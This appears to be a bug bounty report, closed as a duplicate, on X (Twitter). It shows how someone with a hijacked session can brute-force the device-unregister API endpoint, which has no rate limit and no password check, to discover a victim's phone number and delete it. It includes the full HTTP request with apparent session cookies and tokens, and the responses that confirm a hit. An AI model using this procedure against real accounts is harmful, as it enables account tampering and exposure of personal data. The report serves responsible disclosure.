PI leakage By Brute Forcing and Phone number deleting without using password
Medium
X
X (Formerly Twitter)
Submitted None
Actions:
Reported by
a13h1
Vulnerability Details
Technical details and impact analysis
**Summary:** This additional security measure from twitter provides protection to the victim's account, considering that a victim's session may have been hijacked by a hacker, however, due to this additional layer of security Implemented by twitter the hacker would not be able to disclose the victim's Phone Number and cannot remove(delete the phone number), as they will be prompted to enter the victim's account password In order to make these changes, which will not be known to a hacker (In case of a session hijack)
This report is to bring to your attention a security vulnerability that will allow hackers that have hijacked a user's session to bypass the password screen (Without knowing the user's password)
##Description:
For users that have had their twitter session hijacked, this security vulnerability would enable a hacker to disclose the Phone Number (Personal Info)or able to remove the victim Phone number
So this issue is leads to PI leakage by bypassing the password authentication because in twitter we need to enter the password to get into the account setting and deleting the phone number
## Steps To Reproduce:
1. Use the below request to regenerate the issue
POST /i/api/1.1/device/unregister.json HTTP/1.1
Host: twitter.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter.com/settings/phone
authorization: Bearer AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs%3D1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA
x-twitter-auth-type: OAuth2Session
x-twitter-client-language: en
x-twitter-active-user: yes
content-type: application/x-www-form-urlencoded
x-csrf-token: ff2ffbac7022086cf6f9b8bd5bab1db0867608a86f29c36a07e5098e77c933a63d6b58040a5431c783d0405c6cd0bcc6db33c23fd40b2355717fd3461986c117083941cca395e2268be2fe1ff1d0d01f
Content-Length: 28
Origin: https://twitter.com
Connection: close
Cookie: _ga=GA1.2.1934906781.1600634518; kdt=RJzTVzAyG9tYDKN1JYYBTY6qxuvSoarrK4gl5Yjn; remember_checked_on=1; _gid=GA1.2.1680084220.1611590216; mbox=session#52f0077eb7804a2395f66b219d53df8c#1611676575; at_check=true; lang=en; cd_user_id=1773f4d2a7ea-0e8308a702e6d88-31634645-1fa400-1773f4d2a7f2; gt=1354060492269096960; personalization_id="v1_viWq+tRogA+gdH7F6rki9A=="; guest_id=v1%3A161166820124545510; ct0=ff2ffbac7022086cf6f9b8bd5bab1db0867608a86f29c36a07e5098e77c933a63d6b58040a5431c783d0405c6cd0bcc6db33c23fd40b2355717fd3461986c117083941cca395e2268be2fe1ff1d0d01f; ads_prefs="HBERAAA="; _twitter_sess=BAh7CiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%250ASGFzaHsABjoKQHVzZWR7ADoPY3JlYXRlZF9hdGwrCC426T53AToJdXNlcmwr%250ACQEA1xjqWMkSOgxjc3JmX2lkIiUxODg2NDcwZWNkMWY4YWU5NTVjNWNiZDg3%250ANDRmMDc0NjoHaWQiJWNjMzgzNWU2NDQxNDkzYjFjZWY2YmMzODA3MGYwOGUy--96dc661c5411d47c03c4c09292e4a42610a0b24e; twid=u%3D1353710925463879681; auth_token=9b17ab39756e101001234f6b59e278775f3fdc15
phone_number=%2B919999999906
2. We have victim session hijacked account so we replace some headers and cookie in above request
3. We didn't know the Phone number so we are place some random number in phone_number parameter
4. Then start brute forcing so their is no rate limit here
5. See the POC for more clearification F1172750
6. The request we use is generate from the hacker personal account we just change authorization: Bearer , x-csrf-token , cookie by the victim session
as you see in POC
If the response is come in 404 the phone number is not true and it didn't get delete
HTTP/1.1 404 Not Found
cache-control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
connection: close
content-disposition: attachment; filename=json.json
Content-Length: 64
content-type: application/json; charset=utf-8
date: Tue, 26 Jan 2021 13:41:46 GMT
expires: Tue, 31 Mar 1981 05:00:00 GMT
last-modified: Tue, 26 Jan 2021 13:41:46 GMT
pragma: no-cache
server: tsa_o
status: 404 Not Found
strict-transport-security: max-age=631138519
x-client-event-enabled: true
x-connection-hash: a429bf26b4a46c4d3bc600f80ac11ffe
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-response-time: 124
x-transaction: 00849dce003bcaed
x-tsa-request-body-time: 1
x-twitter-response-tags: BouncerCompliant
x-xss-protection: 0
{"errors":[{"code":157,"message":"Verified device not found."}]}
If the response comes in 200 that means the phone number is true and the phone number is deleted from the account
HTTP/1.1 200 OK
cache-control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
connection: close
content-disposition: attachment; filename=json.json
content-length: 0
content-type: application/json;charset=utf-8
date: Tue, 26 Jan 2021 13:47:42 GMT
expires: Tue, 31 Mar 1981 05:00:00 GMT
last-modified: Tue, 26 Jan 2021 13:47:42 GMT
pragma: no-cache
server: tsa_o
status: 200 OK
strict-transport-security: max-age=631138519
x-access-level: read-write-directmessages
x-client-event-enabled: true
x-connection-hash: fbc3dbbec5096ecf1194cec8aecb4d71
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-response-time: 155
x-transaction: 00e5c7150079403a
x-tsa-request-body-time: 0
x-twitter-response-tags: BouncerCompliant
x-xss-protection: 0
And if the response came 200 the hacker see the payload phone number which is relative to the user Personal info which is disclose
and for all these we didn't need any password authentication
## Impact
The impact is the hacker didn't need any password to delete the phone number and get the phone number of victim by brute forcing
So this issue is leads to PI leakage by bypassing the password authentication
Thanks
Report Details
Additional information and metadata
State
Closed
Substate
Duplicate
Submitted
Weakness
Improper Access Control - Generic